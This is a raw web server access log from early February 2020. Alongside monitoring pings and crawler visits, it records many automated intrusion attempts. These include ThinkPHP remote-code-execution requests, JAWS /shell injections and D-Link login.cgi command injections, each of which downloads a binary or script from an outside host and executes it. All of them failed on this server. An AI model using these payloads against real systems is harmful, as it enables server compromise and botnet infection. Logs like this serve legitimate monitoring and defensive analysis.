42.117.213.91 - - [03/Feb/2020:23:50:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.223 - - [03/Feb/2020:23:52:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.67 - - [03/Feb/2020:23:52:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.143.73.230 - - [03/Feb/2020:23:54:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.43.41 - - [03/Feb/2020:23:54:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.203.2.252 - - [03/Feb/2020:23:57:41 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "-"
212.91.246.72 - - [03/Feb/2020:23:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.23.228 - - [03/Feb/2020:23:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:23:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.60.118 - - [04/Feb/2020:00:00:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.138.75.88 - - [04/Feb/2020:00:01:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [04/Feb/2020:00:01:16 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [04/Feb/2020:00:01:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [04/Feb/2020:00:01:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
180.118.139.239 - - [04/Feb/2020:00:02:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.150.75 - - [04/Feb/2020:00:02:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.229.208 - - [04/Feb/2020:00:04:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.118.73.113 - - [04/Feb/2020:00:05:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.204.183 - - [04/Feb/2020:00:05:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.76.113.247 - - [04/Feb/2020:00:08:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.104.46.202 - - [04/Feb/2020:00:14:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.82.197.155 - - [04/Feb/2020:00:20:04 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
193.248.201.204 - - [04/Feb/2020:00:20:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.249.173 - - [04/Feb/2020:00:20:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.185.23.29 - - [04/Feb/2020:00:23:12 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.185.23.29 - - [04/Feb/2020:00:23:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
1.53.141.219 - - [04/Feb/2020:00:24:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
104.219.234.53 - - [04/Feb/2020:00:26:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
104.219.234.53 - - [04/Feb/2020:00:28:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
122.162.128.38 - - [04/Feb/2020:00:31:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
203.59.238.77 - - [04/Feb/2020:00:32:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
177.66.208.253 - - [04/Feb/2020:00:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
112.72.79.3 - - [04/Feb/2020:00:33:32 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
118.25.122.23 - - [04/Feb/2020:00:33:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.25.122.23 - - [04/Feb/2020:00:33:41 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.25.122.23 - - [04/Feb/2020:00:33:41 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.25.122.23 - - [04/Feb/2020:00:33:42 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.25.122.23 - - [04/Feb/2020:00:33:42 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.25.122.23 - - [04/Feb/2020:00:33:43 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.25.122.23 - - [04/Feb/2020:00:33:43 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.25.122.23 - - [04/Feb/2020:00:33:43 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.25.122.23 - - [04/Feb/2020:00:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
204.13.36.59 - - [04/Feb/2020:00:34:55 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
187.94.114.237 - - [04/Feb/2020:00:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.133.81.180 - - [04/Feb/2020:00:38:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.242.75.100 - - [04/Feb/2020:00:38:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.105.169 - - [04/Feb/2020:00:38:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.213.65.155 - - [04/Feb/2020:00:40:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.255.224.63 - - [04/Feb/2020:00:44:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.205.27 - - [04/Feb/2020:00:49:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.104.120.38 - - [04/Feb/2020:00:50:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
210.7.21.243 - - [04/Feb/2020:00:51:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.213.59.2 - - [04/Feb/2020:00:52:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
176.122.57.190 - - [04/Feb/2020:00:52:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
149.210.65.99 - - [04/Feb/2020:00:55:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.23.33.204 - - [04/Feb/2020:00:56:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.140.139 - - [04/Feb/2020:00:56:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.170.153.133 - - [04/Feb/2020:00:56:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.230.121.183 - - [04/Feb/2020:00:57:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
35.231.49.138 - - [04/Feb/2020:00:57:53 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.231.49.138 - - [04/Feb/2020:00:57:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
94.51.30.95 - - [04/Feb/2020:00:59:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.28.111.56 - - [04/Feb/2020:01:02:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
92.254.232.117 - - [04/Feb/2020:01:03:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.253.59.167 - - [04/Feb/2020:01:06:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.230.65.201 - - [04/Feb/2020:01:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
191.97.12.196 - - [04/Feb/2020:01:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.71.240.187 - - [04/Feb/2020:01:09:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.135.38.225 - - [04/Feb/2020:01:11:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
201.49.237.114 - - [04/Feb/2020:01:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.118.95.141 - - [04/Feb/2020:01:13:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.81.0 - - [04/Feb/2020:01:15:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [04/Feb/2020:01:21:11 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
1.55.140.139 - - [04/Feb/2020:01:21:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.16.19.19 - - [04/Feb/2020:01:22:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.173.118.5 - - [04/Feb/2020:01:26:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
222.186.19.221 - - [04/Feb/2020:01:27:29 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
58.253.197.154 - - [04/Feb/2020:01:28:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.241 - - [04/Feb/2020:01:28:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.235.71.43 - - [04/Feb/2020:01:29:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.70.217 - - [04/Feb/2020:01:30:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.118.161.41 - - [04/Feb/2020:01:31:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
222.186.19.221 - - [04/Feb/2020:01:32:32 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
42.119.132.215 - - [04/Feb/2020:01:32:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [04/Feb/2020:01:34:52 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
42.115.154.217 - - [04/Feb/2020:01:35:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.81.180 - - [04/Feb/2020:01:35:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [04/Feb/2020:01:35:52 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
200.53.21.149 - - [04/Feb/2020:01:35:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
222.186.19.221 - - [04/Feb/2020:01:36:17 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [04/Feb/2020:01:42:12 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
58.189.208.61 - - [04/Feb/2020:01:49:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
118.71.67.91 - - [04/Feb/2020:01:49:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.89.118.11 - - [04/Feb/2020:01:50:00 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/4.01687919 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)"
113.22.123.145 - - [04/Feb/2020:01:50:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [04/Feb/2020:01:50:46 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
152.0.121.227 - - [04/Feb/2020:01:52:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
2.134.189.37 - - [04/Feb/2020:01:53:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.144.244.32 - - [04/Feb/2020:01:54:23 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
61.144.244.32 - - [04/Feb/2020:01:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
